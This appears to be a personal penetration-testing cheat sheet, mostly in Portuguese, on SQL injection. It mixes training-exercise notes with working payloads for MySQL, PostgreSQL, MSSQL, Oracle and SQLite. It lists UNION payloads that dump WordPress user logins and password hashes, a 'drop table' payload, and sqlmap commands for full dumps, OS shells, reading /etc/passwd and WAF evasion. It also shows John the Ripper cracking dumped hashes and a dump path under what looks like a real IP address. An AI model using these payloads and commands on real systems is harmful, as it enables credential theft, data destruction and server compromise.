Skip to content

SQL Injection

Checklist

1 - Detectar (Feito) 2 - Com base no payload de detecção, verificar quantas colunas estão consideradas na query com "order by 1" ou "union select 1,2,3,..." 3 - Identificar qual dos parâmetros que corresponde ao número da coluna está vulnerável (com payloads union) 4 - Enumerar o versão do banco de dados 5 - Enumerar as tabelas do banco de dados no objetivo de obter alguma credencial ( Obter tabela de usuários) 6 - Trazer as informações a respeito das colunas da tabela de usuários 7 - Crakear os hashes de senhas 8 - Temos também a oportunidade de tentar executar comandos na máquina a partir do próprio banco de dados, caso o usuário tenha permissão pra isso

fontes

https://www.sqlinjection.net/stacked-queries/
https://portswigger.net/web-security/sql-injection

Detection

Primeiro passo é a identificação da vulnerabilidade

3 tipos de identificação

Numérico

Payloads

1 + 1 #Se responder da mesma forma como se informasse 2 no payload, possivelmente vulnerável

MySQL (string concat and logical ops)

1  sleep(10)
1 and sleep(10)
1 && sleep(10)

PostgreSQL (only support string concat)

1 pg_sleep(10)

MSQL

1 WAITFOR DELAY '0:0:10'

Oracle

1 AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1 AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite

1 AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1 AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

String

Payloads:

 [Nothing]
'
"
`
')
")
`)
'))
"))
`))

MySQL (string concat and logical ops)

1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)

1' || pg_sleep(10)

MSQL

1' WAITFOR DELAY '0:0:10'

Oracle

"' or 1=1--

1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite

1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Próprio comando SQL (order by clauses...)

Nesse caso basta informar um comando SQL válido para identificação da vulnerabilidade

Payloads:

1 ASC --
1 DESC --

qownnotes-media-yQZcch

The majority of SQL injection vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

SQL injection can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

  • Submitting the single quote character ' and looking for errors or other anomalies.
  • Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.
  • Submitting Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application's responses. Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond.
  • Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions.

Observações

  • O banco de dados Oracle não aceita uma query sql sem o "from", para isso podemos utilizar a tabela "DUAL"
  • O banco de dados MySql não aceita union antes das instruções "order by" e "limit"
  • O banco de dados do SQL Server não suporta stacked queries

Enumeration

Segundo passo é fazer a enumeração do banco de dados e enumerar as colunas do banco de dados:

Versão do banco de dados

Error based

Nesse cenário, geralmente o banco de dados já retorna seu nome e versão

Blind

Payloads

Oracle SELECT banner FROM v$version SELECT version FROM v$instance Microsoft SELECT @@version PostgreSQL SELECT version() MySQL SELECT @@version version()

Databases enumeration

Saber qual a base que estamos utilizando no momento.

sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --hex --dbs

Número de colunas

Saber o número de colunas.

order by 1
order by 2
order by 3
.
.
.
order by 15 # and so on

ou

union select 1 from dual--
union select 1,2 from dual--
...
union select 1,2,3,4,5,6,7,8,9 from dual--

and so on

Enumeração de usuários

["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_login,11 FROM wp_users#"]

Saber qual usuário que estamos logados no banco de dados:

mysql/mariadb

current_user()

Oracle

union select null,user,null from dual--

Enumeração de Tabelas

["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,table_name,11 FROM information_schema.tables#"]

sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --tables

Mssql

' union select 1,table_name,3,4,5,6 from information_schema.tables--

Dump de colunas de usuários

["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11 FROM information_schema.columns WHERE table_name='wp_users'#"]




sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --hex -T users --dump

Verificar privilégios do usuário

sqlmap -r req.txt -p "estado" --level=5 --risk=3 --threads 3 --dbms=mysql --os=linux --hex --privileges

Dump das senhas dos usuários

["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_pass,11 FROM wp_users#"]

Conceitos SQL

  • DML
  • DDL
  • DCL

SQL

First exercise Construir uma query que vá trazer o resultado departamento da pessoa Bob Franco

qownnotes-media-DAXRXY

SELECT department from employees where first_name = 'Bob' and last_name = 'Franco';

DML (Data manipulation language)

  • Data manipulation language : Utilizada para inserir, alterar, obter e deletar dados do banco de dados
    • SELECT
    • UPDATE
    • DELETE
    • INSERT

UPDATE syntax:
update tablename set column_name 'value' where column = 'value';

update employees set department = 'Sales' where first_name = 'Tobi' and last_name = 'Barnett';

Group by is defined to fetch the data that is the same for the column specified

Having on top of group by to match a certain conditions

Order by sort by some columns

DDL (Data definition language)

  • Data definition language: Change database structure creating, removing and altering table structures
    • CREATE
    • DROP
    • ALTER

alter table employees add column phone varchar(20) not null; drop table employees;

DCL (Data control language)

GRANT

GRANT SELECT TO user on 'user'@localhost;

REVOKE

================================

Injection

String based sql injection

 asd ' or '1' = '1

Numeric Sqlinjection based

123 or 1 = 1

Drop accesss table

 ab'%3B+drop+table+access_log%3B--+

Special caracters

/ / are inline comments -- oracle comments , in line comments # are line comments mysql (maria db)

Example:

SELECT * FROM users WHERE name = 'admin' --AND pass = 'pass'

; allows query chaining

Example:

SELECT * FROM users; DROP TABLE users;

' , + , || allows string concatenation Char() strings without quotes

Example:

SELECT * FROM users WHERE name = '+char(27) OR 1=1

Union

The Union operator is used, to combine the results of two or more SELECT Statements.

Rules to keep in mind, when working with a UNION:

The number of columns selected in each statement must be the same.

The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second (third, fourth, …​) SELECT Statement. The Same applies to all other columns.

SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;

The UNION ALL Syntax also allows duplicate Values.

para uma injeção de código ser altamente funcional, utilizar o Union acaba sendo a melhor solução, dado que ela proverá um único resultado para queries diferentes algo que stacked queries não funcionaria, dado que normalmente o código da aplicação espera somente um resultado e o outro, proveniente da query stacked (query empilhada, que pode ser realizada por meio do ";" finalizando a primeira query e continuando com a segunda query normalmente) seria totalmente ignorado

Exmplos:

' union select user, password from table users;--+ 
') union select banner from v$version;--+ /*oracle*/    '
') union select @@version;--+ /*mysql*/

Join

The Join operator is used to combine rows from two ore more tables, based on a related column

Solving the next exercise:

asd'; select * from user_system_data; -- '


t'; select first_name, last_name from user_data where first_name = 'Dave' union all select user_name, password from user_system_data where user_name = 'dave'; --

Manual

Blind sqlinjection

payload| WAITFOR DELAY '0:0:10'

BENCHMARK() or sleep(10)

Getting the version of the database:

payloads:

 ' and select substr(@@version,1,1)=4 --+  /*if the first caracter of the database version is 4, then the query will execute*/

Exploiting the database

  • Getting User defined Tables

    SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

  • Getting Column Names

    SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

SQLMap

source: (features) https://github.com/sqlmapproject/sqlmap/wiki/Features

SQLi GET requests

Source: https://security.stackexchange.com/questions/5869/testing-clean-urls-with-sqlmap

You should use * in your URI, creating URI injection point(s). So instead of using:

sqlmap.py -u "website.com/script/paramrewrited1/paramrewrited2"

use:

sqlmap.py -u "website.com/script/paramrewrited1*/paramrewrited2*"

SQLi in POST requests

sqlmap -r file_with_request.txt --dbs --batch --level=3 --risk=3

informing the parameters to test:

sqlmap -r req.txt -p "source,username,password" --dbs

Utilizando proxy para fins de aprendizado

sqlmap -r arq_with_request --proxy http://localhost:8080 --level 5 --risk 3 --threads 10

obs: Os parâmetros enviados via JSON são automaticamente detectados e testados

Bypassing WAF with sqlmap

Tamper with sqlmap

source: https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3q

source: https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423

Tamper scripts:

--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

Examples sqlmap

sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user --hex --hostname --tables --columns

sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --dump --threads 10 --hex


sqlmap -r req.txt --level=5 --risk=3 --dbs
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --is-dba
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user --hex --hosntame
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --is-dba --users --passwords --current-db --current-user --hex --hostname --tables --columns
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --os-shell
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --sql-shell --threads 10
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --sql-shell --threads 10 --hex
sqlmap -r req.txt --level=5 --risk=3 --dbms mysql --os=linux --users --threads 10 --hex -U 'app' --roles
 cat /root/.sqlmap/output/173.255.254.202/dump/cadastro/usuarios.csv | cut -d, -f 4
 vi hashes
john --format=raw-md5 -w /root/ownCloud/owncloud/Tools_Utilities/hacking-tools/fuzzdb/wordlists-user-passwd/unix-os/unix_passwords.txt hashes

john --format=raw-md5 -w hashkiller-dict.txt hashes
sqlmap -r req.txt --file_read=/xampp/htdocs/index.php --batch
sqlmap -r req.txt --file-read=/etc/passwd --batch
hash-identifier 6565223a5aa70f89d5f057e961eb1908

sqlmap -r req.txt --users --privilege
sqlmap -r req.txt -D cadastro --dump
sqlmap -r req.txt --sql-shell
sqlmap -r req.txt  --hex --proxy=http://192.168.1.254:8080

sqlmap -r req.txt  --dbms=mysql --os=linux --tables
sqlmap -r req.txt  --dbms=mysql --os=linux --tables --T usuarios
sqlmap -r req.txt  --dbms=mysql --os=linux --tables -T usuarios -v --dump
sqlmap -r req.txt  --dbms=mysql --os=linux --users --passwords
sqlmap -r req.txt  --dbms=mysql --os=linux --users --passwords --proxy=http://127.0.0.1:8080
sqlmap -r req.txt  --dbms=mysql --os=linux --proxy=http://192.168.1.254:8080 --comments --priv-esc
sqlmap -d "mysql://root:@10.10.10.10:3306/users" -f --banner
sqlmap -r req.txt  --dbms=mysql --os=linux --proxy=http://192.168.1.254:8080 --current-db --ROLES
sqlmap -r req.txt  --dbms=mysql --os=linux --proxy=http://192.168.1.254:8080 --current-db --roles

Dumps específicos

 sqlmap -r req.txt  --dbms=mysql --os=linux --tables -T usuarios -v --dump

podemos utilizar o parâmetro -C para selecionar uma coluna específica também, a qual queremos verificar os dados:

 sqlmap -r req.txt  --dbms=mysql --os=linux --tables -T usuarios -C password -v --dump

Leitura de arquivos no MySQL

basic syntax

select load_file('/etc/passwd')

Escrevendo arquivos via SQL Injection

basic syntax

  • Mysql
    select load_file('/etc/passwd') into outfile '/root/teste_sqli2.txt';
    select vuln_id from vuln_details_table into outfile 'root/teste_sqli3.txt';
    

Primeiro tente:

1'; select load_file('/etc/passwd') in outfile '/home/osboxes/teste.txt'; --+ /* the 'in' directive is not correct */
1'; select load_file('/etc/passwd') into outfile '/home/osboxes/teste.txt'; --+
1' and select table_name, column_name, null from information_schema.columns;--+